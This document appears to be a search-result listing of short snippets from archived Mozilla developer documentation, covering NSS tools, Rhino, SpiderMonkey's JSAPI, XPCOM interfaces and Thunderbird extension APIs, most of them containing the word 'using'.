if an application will use ssl sockets that handshake as a server, you must specifically create and configure a server cache, using either ssl_configserversessionidcache or ssl_configmpserversidcache.
... communication at this point the application has set up the socket to communicate using ssl.
NSS Tools pk12util
using the pkcs #12 tool (pk12util) newsgroup: mozilla.dev.tech.crypto the pkcs #12 utility makes sharing of certificates among enterprise server 3.x and any server (netscape products or non-netscape products) that supports pkcs#12 possible.
...if no algorithm is specified, the tool defaults to using "pkcs12 v2 pbe with sha1 and 3key triple des-cbc" for private key encryption.
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
if you are using the default badcert callback, you can still connect through a dialog.
... if you are not using the default badcert callback, the one you supply must allow for this possibility.
Network Security Services
pkcs #11 information documentation on pkcs #11 modules implementing pkcs #11 for nss the strings nss uses to load pkcs #11 modules pkcs #11 faq using the jar installation manager to install a pkcs #11 cryptographic module pkcs #11 conformance testing - archived version ca certificates pre-loaded into nss mozilla ca certificate policy list of pre-loaded ca certificates consumers of this list must consider the trust bit setting for each included root certificate.
... additional information using the window.crypto object from javascript delegation of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project community view mozilla security f...
Rhino downloads archive
o 1.5r4 2003-02-10 changes in 1.5r4 rhino15r4.zip rhino 1.5r3 2002-01-27 changes in 1.5r3 rhino15r3.zip rhino 1.5r2 2001-07-27 changes in 1.5r2 rhino15r2.zip rhino 1.5r1 2000-09-10 changes in 1.5r1 rhino15r1.zip rhino 1.4r3 1999-05-10 initial public release rhino14r3.zip rhino 1.6r1 through 1.6r6 implement e4x using xmlbeans library.
...(pre-java 1.5 users can use dom3 using java's endorsed standards override mechanism if they have a dom3-capable xml parser.) if neither xmlbeans nor dom3 are present, e4x is not available.
Rhino Examples
the enum.js script is a good example of using a javaadapter to implement a java interface using a javascript object.
... the nervoustext.js script is a javascript implementation of the famous nervoustext applet using javascript compiled to java classes using jsc.
Rhino scopes and contexts
before using rhino in a concurrent environment, it is important to understand the distinction between contexts and scopes.
...you can create a scope using one context and then evaluate a script using that scope and another context (either by exiting the current context and entering another, or by executing on a different thread).
Rebranding SpiderMonkey (1.8.5)
using your favorite editor open up the file named makefile for editing.
...you may now perform the build and installation of your custom branded spidermonkey library: make note: depending on your system you may need administrative rights to perform the installation: make install the following information isn't technically needed for using your library but it will help other applications use your library.
Creating JavaScript jstest reftests
before using test262, spidermonkey had a fair number of internal tests of conformance to ecmascript, and many of those tests remain in the js/src/non262 directory as regressions.
...earlier we discussed the deprecated approach of using the -n naming scheme to identify tests whose passed, failed status is flipped by the post test processing code in jsdriver.pl and post-process-logs.pl.
FOSS
flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ ...
...libjssql/wiki - a library that aims to provide a generic sql api for javascript that is as similar as possible to jdbc miscellaneous serverjs, a standardization effort for the fragmented server-side javascript world 0 a.d., historical rts game with javascript scripting http://soubok.googlepages.com/javascript malzilla - tool for hunting malware by deobfuscating javascripts on web pages, using spidermonkey ...
Getting SpiderMonkey source code
eases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
... if you have problems with the instructions above, you can read the full details of using mercurial to get mozilla code here.
Functions
if a name definitely refers to an argument or local variable of the immediately enclosing function, it can be accessed using jsop_{get,set,call}{arg,local} instructions.
...outside all functions, if a name definitely refers to a global for which we have seen a var, const, or function declaration, then we emit a js_defvar instruction in the script prelude and access the global using jsop_{get,set,call}gvar.
Property cache
the jit ensures this by using the property cache to forward its work to the interpreter.) for speed, the cache is a fixed-size hash table with no chaining.
...an object may be given a unique shape using jsobject::generateownshape.
JSAPI Cookbook
note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi.
... return throwerror(cx, global, message, __file__, __line__); the jsapi code here is actually simulating throw error(message) without the new, as new is a bit harder to simulate using the jsapi.
INT_FITS_IN_JSVAL
try to avoid using it.
...in this case, the application can still convert i to a jsval using js_newnumbervalue.
JS::CallArgs
embedders should start internally switching away from using argc and vp directly, except to create a callargs.
...the principal way to create a callargs is like so, using js::callargsfromvp: static bool functionreturningargctimesarg0(jscontext *cx, unsigned argc, js::value *vp) { js::callargs args = js::callargsfromvp(argc, vp); // guard against no arguments or a non-numeric arg0.
JS::PersistentRooted
in the context of firefox, this is a severe restriction: almost everything in firefox is owned by some js object or another, so using persistentrooted in such objects would introduce leaks.
...mozilla::maybe<js::persistentrootedvalue> persistentval; // you can also declare it just as a pointer, instead of using maybe.
JS::ToPrimitive
this article covers features introduced in spidermonkey 45 converts a javascript object to a primitive value, using the semantics of toprimitive.
... description js::toprimitive converts a javascript object, obj, to a primitive value using ecmascript 6 toprimitive.
JSCheckAccessOp
try to avoid using it.
... jscheckaccessop implementations generally work by using jsdbgapi functions such as js_frameiterator and js_stackframeprincipals to obtain the principals of the code attempting the checked operation, then examining those principals and comparing them with the system's security policy.
JSClass.flags
the field can be accessed using js_getprivate and js_setprivate.
...they can be accessed using js_getreservedslot and js_setreservedslot.
JSClass
implement a jsnative constructor function that allocates this private data and stores it in the new object using js_setprivate.
...each native getter, setter, or method can access the private data using js_getinstanceprivate.
JSConstDoubleSpec
obsolete since jsapi 35 description jsconstdoublespecs is used to define a set of double values that are assigned as properties to an object using js_defineconstdoubles.
... jsconstintegerspecs is used to define a set of double values that are assigned as properties to an object using js_defineconstintegers.
JSErrorReport
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
...we check the strictness of the context's top frame's script; where that isn't appropriate, the caller should do the right checks itself instead of using this flag.
JSFastNative
try to avoid using it.
... vp jsval * the arguments, including the this argument, the return-value slot, and the callee function object are accessible through this pointer using macros described below.
JSMarkOp
try to avoid using it.
...all new code using spidermonkey 1.8 or later should use a jstraceop instead to ensure that the tracing apis work properly.
JSNewResolveOp
try to avoid using it.
...when using jsclass_new_resolve_gets_start, the resolve hook must therefore null *objp to signify "not resolved".
JSObjectOps.defaultValue
try to avoid using it.
...many expressions in the ecmascript language, such as a+b, involve implicit conversion of the operands using [[defaultvalue]].
JSObjectOps.dropProperty
try to avoid using it.
... while the property is locked, the caller may access it using other jsobjectops callbacks.
JSObjectPrincipalsFinder
try to avoid using it.
... jsobjectprincipalsfinder is the type of a security callback that can be configured using js_setobjectprincipalsfinderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1.
JSPRINCIPALS_HOLD
try to avoid using it.
...if the reference count drops to 0, indicating that no one is using the object anymore, jsprincipals_drop also deallocates principals by calling its destroy method.
JSVAL_TO_GCTHING
try to avoid using it.
...another possible alternative is to avoid casting altogether by using an api that operates on jsvals rather than raw pointers (for example, js_call_value_tracer rather than js_call_tracer).
JS_AddExternalStringFinalizer
try to avoid using it.
... description add a finalizer for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstringchars(str).
JS_CompileUTF8File
try to avoid using it.
... see also the jsapi user guide contains example code using compiled scripts.
JS_CompileUTF8FileHandle
try to avoid using it.
... see also the jsapi user guide contains example code using compiled scripts.
JS_ConstructObject
try to avoid using it.
... the preferred alternative is to save a copy of the constructor function for the class, then to call it using js_new.
JS_ConvertArguments
try to avoid using it.
... this function also takes in consideration any additional custom types defined on cx using js_addargumentformatter.
JS_ConvertValue
try to avoid using it.
...using js_callfunctionvalue).
JS_DefineFunction
it also becomes the name property of the new function object and can be accessed using js_getfunctionid.
...this becomes the new function object's length property and can be accessed using js_getfunctionarity.
JS_DropExceptionState
destroys a jsexceptionstate object previously created using js_saveexceptionstate.
...this object should previously have been created using js_saveexceptionstate.
JS_GetFunctionCallback
try to avoid using it.
... note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls.
JS_GetParent
try to avoid using it.
... the preferred way to set an object's parent is by using the parent parameter to js_newobject or js_constructobject.
JS_GetPrivate
(but consider using js_valuetofunction instead to access it.) warning: it is dangerous to call js_getprivate on a jsobject * unless the object's jsclass is known.
...casting that pointer to the desired type and using it could then cause a crash or worse.
JS_GetPropertyAttrsGetterAndSetter
try to avoid using it.
...the application may cast it back to jsobject * (using a c cast or a c++ reinterpret_cast) to access the getter/setter function object.
JS_GetVersion
scripts are compiled using the latest version of the javascript language.
... to configure a context to run scripts using a specific version of javascript, use js_setversion.
JS_IsConstructing
try to avoid using it.
...js_isconstructing returns js_true if the native was defined with jsfun_constructor (js_initclass automatically sets that flag when defining a constructor) and it was called as a constructor, either from javascript, using the new keyword, or from c/c++ using a jsapi function such as js_constructobject.
JS_LookupProperty
try to avoid using it.
...when executing javascript code that uses properties, spidermonkey looks up properties using slightly different rules depending on the syntactic context in which the property name appears.
JS_MapGCRoots
try to avoid using it.
...rootmapfun map, void *data); callback syntax #define js_map_gcroot_next 0 /* continue mapping entries */ #define js_map_gcroot_stop 1 /* stop mapping entries */ #define js_map_gcroot_remove 2 /* remove and free the current entry */ typedef int (*jsgcrootmapfun)(void *rp, const char *name, void *data); description call js_mapgcroots to map the gc's roots table using map(rp, name, data).
JS_New
this article covers features introduced in spidermonkey 1.8 create an object as though by using the new keyword and a javascript function.
...obsolete since jsapi 32 description js_new creates a new object as though by using the new operator, as described in ecma 262-3 §11.2.2.
JS_NewDouble
try to avoid using it.
... the new jsdouble is subject to garbage collection until you protect it using a local root, an object property, or the js_addroot function.
JS_NewNumberValue
in this case, the value is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function.
... this can be avoided by using the address of a rooted variable as rval.
JS_NewUCString
description js_newstring creates and returns a new string, using the memory starting at buf and ending at buf + length as the character storage.
...the character array, buf, must be allocated on the heap using js_malloc.
JS_NextProperty
try to avoid using it.
... description on success, js_nextproperty returns true, with *idp containing the id of the next enumerable own property to visit using iterobj, or jsid_void if there is no such property left to visit.
JS_SetErrorReporter
try to avoid using it.
...you can work around this by using the js_setruntimeprivate and js_getruntimeprivate methods.
JS_SetGlobalObject
try to avoid using it.
...applications typically set a context's global object using js_initstandardclasses instead.
JS_SetInterruptCallback
description these functions allow setting an interrupt callback that will be called from the js thread some time after any thread triggered the callback using js_requestinterruptcallback.
... js_requestinterruptcallback requests a callback set using js_setinterruptcallback.
JS_THREADSAFE
} garbage collection requests help make garbage collection safe when multiple threads are using the jsapi.
...this is because in single-threaded programs, a random call into the jsapi is actually pretty unlikely to trigger gc, especially if the calling thread has not been using up a lot of memory.
SpiderMonkey 1.8.5
the old build system (using makefile.ref) is no longer supported.
...they are no longer compatible; using js_valuetoid and js_idtovalue to convert between the two is mandatory.
SpiderMonkey 31
migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the newly-repurposed js_init method.
...embedders still need to build with nspr, as the new wrappers require using spidermonkey internal functions which are not exposed to the public api.
SpiderMonkey: The Mozilla JavaScript runtime
using spidermonkey introduction to the javascript shell documentation of the command-line javascript shell, js.
... spidermonkey internals: gc separate internals article on the gc spidermonkey internals: hacking tips collection of helpful tips & tools for hacking on the engine related topics javascript foss projects using or based on spidermonkey releases spidermonkey release notes current and past versions: 52, 45, 38, 31, 24, 17 community mailing list spidermonkey questions on stack overflow report a bug ...
WebReplayRoadmap
without time travel, using the console requires repeatedly updating the source or the debugger's log points, reloading, and reproducing the bug.
... using a corpus of several normal recordings (or buggy recordings) would reduce false positives due to incidental differences between the recordings.
Mozilla Projects
generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... internet explorer also supports the ability to edit specific elements using the contenteditable attribute; starting with firefox 3, gecko also supports contenteditable.
Embedded Dialog API
this is accomplished using a callback into the embedding application.
...all code which actually poses dialogs, if it does this directly using window.open, wants to be changed to go through the new interface.
Mork
MozillaTechMork
the table id is specified using the mid at the beginning of the table.
...using the '\' character quotes the next character; at the end of the line, it represents a continuation such as that found in c\c++ code.
The Places database
places is designed to be a complete replacement for the firefox bookmarks and history systems using storage.
... see manipulating bookmarks using places for more information.
Generic factory
in xpcom, a generic factory is a factory created using the facilities in xpcom/glue/nsigenericfactory.h.
... */ ns_imethod setconstructor(constructorprocptr constructor) = 0; }; using nsigenericfactory is simple.
Components.results
if(something_unexpected_happened) throw components.results.ns_error_unexpected; the elements of the components.results object can be enumerated using a for-in loop.
... usage implementing nsisupports the standard nsisupports is usually implemented in javascript by using components.results to get a failure return value if does not implement the given interface.
Components.utils.cloneInto
cloned functions have the same semantics as functions exported using components.utils.exportfunction.
...if you do pass this flag, then functions in the object are cloned using the same mechanism as that used in components.utils.exportfunction: // add-on script var addonscriptobject = { greetme: function() { alert("hello from add-on"); } }; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow, {clonefunctions: true}); // page script var test = docume...
Components.utils.import
see using javascript code modules for more details.
... note: prior to gecko 2.0, javascript code modules could only be loaded using file: or resource: urls.
Components.utils.importGlobalProperties
using this api you can import these objects into such a system scope.
...the downside of using hiddendomwindow is that on startup of firefox, the hiddendomwindow objects cannot be accessed until it is fully loaded.
Components.utils.unwaiveXrays
for example, if privileged code accesses a dom object belonging to web content, it will by default see it using xray vision, meaning that among other things expando properties added to the object by content are not visible.
... privileged code can waive xray vision using waivexrays, and it will then see expandos.
Profiling XPCShell
for example, on linux or macosx you do: export mozilla_js_profiler_output=/tmp/profile.txt now, run the script using xpcshell.
...using an earlier build will cause the profiler to hang the more adventurous can use the nsixpctoolsprofiler.idl interface directly, but be aware that you must start the profiler before loading the files you want to profile (creating an instance of a component loads the file!) ...
XPConnect
using components how to talk with xpcom components.
... xpconnect and xpidl faq a faq about using xpconnect and xpidl.
Core XPCOM functions
ns_allocinfallibly allocates a block of memory using the xpcom memory manager.ns_freefrees a block of memory using the xpcom memory manager.ns_getcomponentmanagerthe ns_getcomponentmanager function returns a reference to the xpcom component manager.ns_getcomponentregistrarthe ns_getcomponentregistrar function returns a reference to the xpcom component registrar.ns_getmemorymanagerthe ns_getmemorymanager function returns a reference to the xpcom memory manager.ns_getservicemanagerthe ns_getservicemanager function returns a reference to the xpcom service manager.ns_initxpcom2the ns_initxpcom2 fu...
... ns_newlocalfilethe ns_newlocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_newnativelocalfilethe ns_newnativelocalfile function creates an instance of nsilocalfile that provides a platform independent representation of a file path.ns_reallocreallocates a block of memory using the xpcom memory manager.ns_shutdownxpcomthe ns_shutdownxpcom function terminates use of xpcom in the calling process.nsresultthe nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes.
RefPtr
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.
... instead of using "do_queryinterface()" (which is used for nscomptrs), use "do_queryobject()", which works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo = new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone changed the base classes of nsfoo"); can i queryinterface an nscomptr back to a refptr?
IJSDebugger
you should usually interface with this using the javascript code module instead of directly.
...see the javascript debugger api guide for details on using the debugger api.
mozIAsyncFavicons
pages using this favicons that are visible in history or bookmarks views will keep the old icon until they have been refreshed by other means.
...pages using this favicons that are visible in history or bookmarks views will keep the old icon until they have been refreshed by other means.
nsIAbCard
using the firstname, lastname and the displayname.
... generatephoneticname() generate a phonetic name from the card, using the firstname and lastname values.
GetChildAt
« nsiaccessible page summary this method returns nth accessible child using zero-based index.
...return value returns nth accessible child using zero-based index.
nsIAccessible
getchildat this method returns nth accessible child using zero-based index or last child if index than less than zero.
...widgets that use role attribute can force a value using the valuenow attribute.
nsIApplicationCache
clients can open a session with nsicacheservice.createsession() using this client id and a storage policy of store_offline to access this cache.
... item_dynamic 8 this item was added to the cache using the dynamic scripting api.
nsIAuthPromptWrapper
persisting data from the prompts and using it to pre-fill subsequent prompts would be one such action.
... last changed in gecko 1.7 inherits from: nsiauthprompt method overview void setpromptdialogs(in nsiprompt dialogs); methods setpromptdialogs() this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts.
nsIClipboard
the kselectionclipboard is peculiar to the x windows system, where it refers to the primary selection, which is the one that simple mouse selection and middle-click paste operations are using.
... see also nsiclipboardowner nsitransferable nsiarray using the clipboard ...
nsIDOMFileError
try to avoid using it.
... the nsidomfileerror interface describes errors that occur while using the dom file api.
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscriptable this interface represents the events sent with progress information while uploading data using the xmlhttprequest object.
... see also using xmlhttprequest xmlhttprequest nsixmlhttprequesteventtarget nsixmlhttprequest ...
nsIDOMXPathEvaluator
using null will create a new nsixpathresult.
...see also introduction to using xpath in javascript document.evaluate dom level 3 xpath specification xml path language (xpath)rec nsidomxpathresult nsidomxpathexception ...
nsIDOMXPathExpression
using null will create a new nsidomxpathresult.
...see also introduction to using xpath in javascript nsidomxpathevaluator document.evaluate document object model (dom) level 3 xpath specification nsidomxpathresult ...
nsIDownloadManager
try to avoid using it.
...try to avoid using it.
nsIEventTarget
note: passing this flag to dispatch may have the side-effect of causing other events on the current thread to be processed while waiting for the given event to be processed.
...try to avoid using it.
nsIExternalProtocolService
and you can ask it to load the url using the default handler.
...-nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("tlc...
nsIFocusManager
try to avoid using it.
...specifying astartelement and using movefocus_last is not currently implemented.
nsIHttpChannelInternal
using features exposed by this interface is not recommended, as it will change in unpredictable ways.
...setcookie() helper method to set a cookie with a consumer-provided cookie header, but using the channel's other information (uri's, prompters, date headers and so on.).
nsIIdleService
the observer will get an 'idle' notification when the user is idle for that interval (or longer), and receive a 'back' (gecko 3 to 15) or 'active' (gecko 16+) notification when the user starts using their computer again.
...// don't forget to remove the observer using removeidleobserver!
nsILocalFile
setrelativedescriptor() initializes the file to the location relative to fromfile using a string returned by getrelativedescriptor().
... remarks the methods initwithnativepath() and appendrelativenativepath() take string valued parameters that are encoded using the native character encoding.
nsILocalFileMac
try to avoid using it.
...try to avoid using it.
nsILoginManagerPrompter
must be called before using other interfaces.
... note: because the caller does not know the username of the login to be changed, anewlogin.username and anewlogin.usernamefield will be set (using the user's selection) before modifylogin() is called.
nsIMsgDBHdr
don't even think about using orflags and/or andflags.
...the value here will effectively be the unparsed header content; it may be easier to set this using setrecipientsarray.
nsIMsgSearchSession
void addallscopes(in nsmsgsearchscopevalue attrib); parameters attrib search() void search(in nsimsgwindow awindow); parameters awindow interruptsearch() void interruptsearch(); pausesearch() these two methods are used when the search session is using a timer to do local search, and the search adapter needs to run a url (e.g., to reparse a local folder) and wants to pause the timer while running the url.
... this will fail if the current adapter is not using a timer.
nsINavHistoryObserver
note: see using onbeforedeleteuri() in gecko 1.9.1 for how to implement this in gecko 1.9.1 void onbeforedeleteuri( in nsiuri auri, in acstring aguid ); parameters auri the uri of the page about to be deleted.
... using onbeforedeleteuri() in gecko 1.9.1 if you wish to support onbeforedeleteuri() in applications based on gecko 1.9.1, you must implement your observer's queryinterface() method to match on both nsinavhistoryobserver and nsinavhistoryobserver_mozilla_1_9_1_additions, as shown below.
nsINavHistoryResultViewer
try to avoid using it.
... see also nsinavhistoryresult, nsitreeview, displaying places information using views ...
nsIOutputStream
for this reason, it is generally the case that a blocking output stream should be implemented using thread-safe addref and release.
... nsacstring* pbuf = (nsacstring*) aclosure; const char* data; pruint32 len = ns_cstringgetdata(&data); data += afromoffset; len -= afromoffset; if (len > acount) len = acount; memcpy(atosegment, data, len); // indicate that we have copied len bytes to the segment *areadcount = len; return ns_ok; } // write the contents of asource into astream, using writesegments // to avoid intermediate buffer copies.
nsIPlacesImportExportService
the interface name has been kept for compatibility reasons for code using the export service.
...try to avoid using it.
nsIPlacesView
see displaying places information using views for examples.
... see also displaying places information using views ...
nsIPrivateBrowsingService
similarly, plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable.
... lastchangedbycommandline boolean indicates whether or not the last private browsing mode transition was performed on the command line (using either the -private or -private-toggle switches) rather than the user interface.
nsIPrompt
if you are using this interface, you must remove the nsidomwindow arguments from those methods.
...example usage is also documented: using the button flags see also nsipromptservice ...
nsIProtocolProxyService
however, if the nsiproxyinfo type is "http", then it means that the given uri should be loaded using the http protocol handler, which also supports nsiproxiedprotocolhandler.
...pass pr_uint32_max to specify the default timeout value, causing nsiproxyinfo::failovertimeout to be assigned the default value.
nsIScriptError
as addon author i would recommend using "chrome javascript" for logging exceptions caused by addon code.
..." "xbl content sink" "xbl javascript" "frameconstructor" categories the web console displays "hudconsole" "css parser" "css loader" "content javascript" "dom events" "dom:html" "dom window" "svg" "imagemap" "html" "canvas" "dom3 load" "dom" "malformed-xml" "dom worker javascript" "mixed content blocker" "csp" "invalid hsts headers" "insecure password field" see also using the web console error console nsiconsolemessage nsiscripterror2 ...
nsIStreamConverter
you could implement this interface to allow everyone else to use your conversion logic using a standard api.
...first of all the stream converter implementation must register itself with the component manager using a contractid in the format below.
nsITaskbarWindowPreview
this interface's primary purpose is to let gecko applications take control over parts of the preview; however, certain parts of the preview are not controlled using this interface.
...you may customize these buttons using the attributes on that interface.
nsITreeView
try to avoid using it.
...for very simple tree views, such as those without multi-level data, you might want to consider using something simpler than a tree view, such as a listbox.
nsIURIFixupInfo
fixeduri nsiuri the fixed-up original input, *never* using a keyword search.
... fixupchangedprotocol boolean if we changed the protocol; instead of using one raw from the input.
nsIUpdateItem
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is obsolete; instead of using the extension manager, you should use the addon manager.
... note: add-ons can specify a targetapplication id of toolkit@mozilla.org in their install manifest for compatibility with all apps using a specific release of the toolkit.
nsIWebBrowserFind
note: that you can control whether the search propagates into child or parent frames explicitly using nsiwebbrowserfindinframes, but if one, but not both, of searchsubframes and searchparentframes are set, this returns false.
... methods findnext() finds, highlights, and scrolls into view the next occurrence of the search string, using the current search settings.
nsIWindowWatcher
make sure you understand the security implications of this before using this method!
... aname a window name assigned using window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name.
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
...see also using xmlhttprequest xmlhttprequest nsixmlhttprequest nsidomprogressevent ...
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the features needed when uploading data using nsixmlhttprequest.
... description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onloadstart nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
nsIXULAppInfo
can be an empty string, but a valid value is required for xul applications using the extension manager or update service.
...an alert box: var info = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); alert("application version: " + info.version + "\n" + "gecko version: " + info.platformversion); example this example here uses nsixulappinfo to get the version of the current browser and then compares it: example - compare current browser version see also using nsixulappinfo nsixulruntime get thunderbird version firefox code snippets ...
nsIXULSortService
try to avoid using it.
...void insertcontainernode( in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsicontent root, in nsicontent trueparent, in nsicontent container, in nsicontent node, in boolean anotify ); parameters db sortstateptr root trueparent container node anotify sort() sort the contents of the widget containing anode using asortkey as the comparison key, and asorthints as how to sort.
nsIXULTemplateResult
the value for a particular variable may be retrieved using the getbindingfor() and getbindingobjectfor() methods.
...the template builder will reprocess the template using this result as the reference point and generate output content that is expected to be inserted as children of the output generated for this result.
nsIXmlRpcFault
try to avoid using it.
...xml-rpc server fault codes are returned wrapped in this; access it using nsixpconnect.getpendingexception->data.
XPCOM Interface Reference by grouping
using this guide this page lists the current (as of dec.
...nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcallback content nsicontentpolicy credentials nsilogininfo nsiloginmanager using nsiloginmanager nsiloginmanagerstorage nsiloginmetainfo history nsiglobalhistory nsiglobalhistory2 nsiglobalhistory3 ssl nsibadcertlistener2 system action nsicancelable application application nsiapplica...
The Thread Manager
application/extension javascript should consider using a chromeworker instead.") interfaces there are several interfaces that provide threading support: nsithreadmanager the thread manager itself lets you create threads.
... tutorials making cross-thread calls using runnables ...
XPCOM Thread Synchronization
} new construction using namespace mozilla; mutex mlock; monitor mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"), mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ...
... concurrentmethod() { nsautolock al(mlock); nsautomonitor am(mmonitor); if (needexpensivecomputation()) { nsautounlock au(mlock); } am.wait(); pr_notifycondvar(mcvar); } new usage using namespace mozilla; concurrentmethod() { mutexautolock al(mlock); monitorautoenter am(mmonitor); if (needexpensivecomputation()) { mutexautounlock au(mlock); } am.wait(); mcvar->notify(); } mozilla synchronization api reference the mozilla:: namespace exports the following synchronization primitives.
Frequently Asked Questions
e.g., using blocks as in this sample // the most efficient scheme is to scope your |nscomptr| to live exactly as long // as you need to hold the reference nsresult somelongfunction( nsibar* abar ) { nsresult rv; // ...
...you can examine the source to nscomptr online using (the wonderful) lxr.
Weak reference
you might hold a raw pointer (without addrefing and releaseing it), and avoid using it in cases where it might dangle.
... see also the source xpcom/base/nsiweakreference.idl xpcom/glue/nsweakreference.h xpcom/glue/nsweakreference.cpp xpcom ownership guidelines using nscomptr original document information author: scott collins last updated date: september 23, 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
nsCOMPtr versus RefPtr
(although, confusingly, debug builds don't work this way).
...in the future, more base classes might be added to t that would then cause unrelated code to break, which would be very confusing.
wrappedJSObject
regular xpconnect wrappers which you can encounter, for example, when using xpcom components implemented in js.
... meet wrappedjsobject xpconnect lets you bypass its wrappers and access the underlying js object directly using the wrapper.wrappedjsobject property if the wrapped object allows this.
xptcall FAQ
it is implemented using platform specific c/c++ and assembly language code.
...xpconnect uses information from typelib files to reflect arbitrary xpcom interfaces into javascript and to make calls from javascript to xpcom using xptc_invokebyindex.
pyxpidl
using pyxpidl pyxpidl is in the sdk in the sdkdir/sdk/bin/ directory.
... generating c++ headers to generate c++ headers, use the header.py utility: sdkdir/sdk/bin/header.py --cachedir=<path> -o <outputfilename.h> <filename.idl> generating typelibs generating typelib files is done using the typelib.py utility: sdkdir/sdk/bin/typelib.py --cachedir=<path> -o <outputfilename.xpt> <filename.idl> comparing pyxpidl to xpidl this table provides a mapping of old xpidl options to pyxpidl.
Creating a gloda message query
this content covers features introduced in thunderbird 3 this page describes how to programmatically create a message query using gloda, thunderbird's global database.
...you probably should not be using this.
DB Views (message lists)
one unique thing about nsmsggroupview is that instead of using the message database's nsmsgthread objects like the other view classes, it uses an nsmsggroupthread object, which also implements nsimsgthread.
...see the tutorial for information about styling trees using css, and the thunderbird source for some example css.
nsIMsgCloudFileProvider
deletefile() attempts to delete a file that had previously been uploaded using this instance.
... void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); parameters afile the file that was previously uploaded using this nsimsgcloudfileprovider instance that should be deleted.
Filelink Providers
saving custom settings in preferences custom settings for a provider are saved using the preferences api.
... once this is done, the field is accessible from within the implementation via the preferences api using the key mail.cloud_files.accounts.account_key.username where account_key is the value passed into the implementations init function.
MailNews Filters
filter execution is done by evaluating the search terms using the core mailnews/base/search code, and then applying the filter hits when the search terms match.
...this is implemented by doing a search using the filter criteria and applying the actions en masse on the resulting hits.
Main Windows
the base chrome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it.
...things appear confusing for several reasons: much of the code is written to be portable, so instead of duplicating it, its been put in overlays that are loaded over many different types of windows.
Use SQLite
to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite programs.
...reatetables(dbconnection); return dbconnection; }, _dbcreatetables: function(adbconnection) { for(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'...
Tips and Tricks from the newsgroups
